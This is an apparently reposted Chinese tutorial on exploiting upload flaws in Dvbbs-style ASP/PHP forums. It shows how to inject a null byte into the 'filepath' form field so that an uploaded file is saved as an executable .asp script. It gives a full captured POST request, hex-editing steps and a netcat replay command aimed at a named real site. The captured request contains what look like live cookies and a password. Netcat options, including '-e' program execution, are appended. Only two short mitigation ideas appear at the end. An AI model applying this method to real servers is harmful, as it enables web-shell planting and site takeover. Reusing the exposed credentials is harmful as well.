PHP/ASP上傳漏洞探究

來源:互聯網
上載者:User
:http://lixi4o.lucidpc.net/

1:傳漏洞利用的原理只是針對form格式上傳的asp和php指令碼***
nc(netcat)
   用於提交資料包
   dos介面下運行:
   nc -vv www.***.com 80<1.txt
   -vv: 回顯
   80:  www連接埠
   1.txt: 就是你要發送的資料包
  (更多使用方法請查看本區的文章)
wse(wsockexpert)
   對本機連接埠的監視,抓取ie提交的資料包
2:漏洞原理
下面例子假設的前提
www主機:  www.***.com;
bbs路徑 :  /bbs/
漏洞源於對動網上傳檔案的研究,建議有一定編程經驗的
看看dvbbs的upfile.asp檔案,沒有必要全部看懂
upfile是通過產生一個form表上傳,如下
<form name="form" method="post" action="upfile.asp" ...>
<input type="hidden" name="filepath" value="uploadface">
<input type="hidden" name="act" value="upload">
<input type="file" name="file1">
<input type="hidden" name="fname">
<input type="submit" name="submit" value="上傳" ...></form>
用到的變數:
filepath 預設值uploadface 屬性hiden
act      預設值upload     屬性hiden
file1    就是你要傳的那個檔案
關鍵是 filepath 這個變數!
預設情況下我們的檔案上傳到www.***.com/bbs/uploadface/
檔案是用你的上傳時間命名的,就是upfile裡的這一句
filename=formpath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&rannum&"."&fileext
--------------------------------------
我們知道電腦裡面的資料是一""為標緻的用過c語言的都知道
char data[]="bbs"
這個data數組長度是4: b b s
如果我們構造filepath如下,會怎麼樣呢?
filepath="/newmm.asp"
我們在2004.09.24.08.24傳的檔案就會發生變化
沒有改時:
_blank>http://www.***.com/bbs/uploadface/200409240824.jpg
用我們構造的filepath時:
_blank>http://www.***.com/newmm.asp/200409240824.jpg
這樣當伺服器接收filepath資料時,檢測到newmm.asp後面的
就理解為filepath的資料就結束了
這樣我們上傳的檔案,比如c:.asp
就儲存成: _blank>http://www.***.com/newmm.asp
3:後期補充
漏洞公布以後很多網站做了相應的處理,但是對於filepath的過濾和處理都不行
有很多網站只是加了n個hiden屬性的變數對付網上公布的upfile.exe就是那個
上傳漏洞利用工具或者filepath變數利用工具(老兵的)...但是最基本的沒改啊。。
而且很對網站的外掛程式裡有類似的漏洞,我要說的不要依賴哪些專門的工具
自己改wse抓到的包裡的filepath變數,然後在用nc提交。。。
就算他加n個hiden變數也於事無補。
當然,如果對filepath做了很嚴格的過濾的話我們的這些理論就將宣告終結
就是我們的新理論誕生的時候!

4:詳細執行個體:
---------------------
一、wse抓包結果(存到1.txt裡):
post /bbs/upphoto/upfile.asp http/1.1
accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
referer: _blank>http://www.xin126.com/bbs/upphoto/upload.asp
accept-language: zh-cn
content-type: multipart/form-data; boundary=-----------7d423a138d0278
accept-encoding: gzip, deflate
user-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.1; .net clr 1.1.4322)
host: _blank>www.xin126.com
content-length: 1969
connection: keep-alive
cache-control: no-cache
cookie: aspsessionidaccccdcs=njhcphpalbcankobechkjanf; iscome=1; gamvancookies=1; regtime=2004%2d9%2d24+3%3a39%3a37; username=szjwwwww; pass=5211314; dl=0; userid=62; ltstyle=0; logintry=1; userpass=eb03f6c72908fd84

-----------------------------7d423a138d0278
content-disposition: form-data; name="filepath"

../medias/myphoto/
-----------------------------7d423a138d0278
... ...

上傳
---------------7d423a138d0278-----------------
二、ultraedit開啟1.txt改資料:
......
-----------------------------7d423a138d0278
content-disposition: form-data; name="filepath"
/newmm.asp█                 <===這個黑色代表一個空格是 0x20,改成0x00就可以了
......
----------------------------
三、重新計算cookies長度,然後nc提交

nc -vv _blank>www.xin126.com 80 <1.txt

ultraedit是一個16位編輯器網上可以下載得到
我們主要用來寫那個結束標緻: ====>16位表示:0x00或者00h
其實你改的時候就直接再filepath的結尾處加個00就ok了

計算cookies長度===>你把fillepath改了之後、肯定是或+或—cookies的長度變了
......
host: _blank>www.xin126.com
content-length: 1969  <======就是這個
connection: keep-alive
cache-control: no-cache
......
計算會吧?一個字母、數字就是1

對於上傳漏洞提出的解決思路:(僅供參考)

1、一般的上傳是把上傳路徑作為一個變數來處理
===>我們的對策就是把filepath變成常量。。。
這個方法是目前最有效(我認為的)

2、加強對於的處理,原來我們是讀到這裡就結束
我們繼續讀直道下一個變數開始的地方,處理就ok了

附:NC Usage:
監聽外部主機
        nc [-options] hostname port[s] [ports] ...
監聽本地主機
        nc -l -p port [options] [hostname] [port]
options:
        -d              detach from console, stealth mode
        -e prog         inbound program to exec [dangerous!!]
        -g gateway      source-routing hop point[s], up to 8
        -g num          source-routing pointer: 4, 8, 12, ...
        -h              this cruft
        -i secs         delay interval for lines sent, ports scanned
        -l              listen mode, for inbound connects
        -l              listen harder, re-listen on socket close
        -n              numeric-only ip addresses, no dns
        -o file         hex dump of traffic
        -p port         local port number
        -r              randomize local and remote ports
        -s addr         local source address
        -t              answer telnet negotiation
        -u              udp mode
        -v              verbose [use twice to be more verbose]
        -w secs         timeout for connects and final net reads
        -z              zero-i/o mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]

 

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.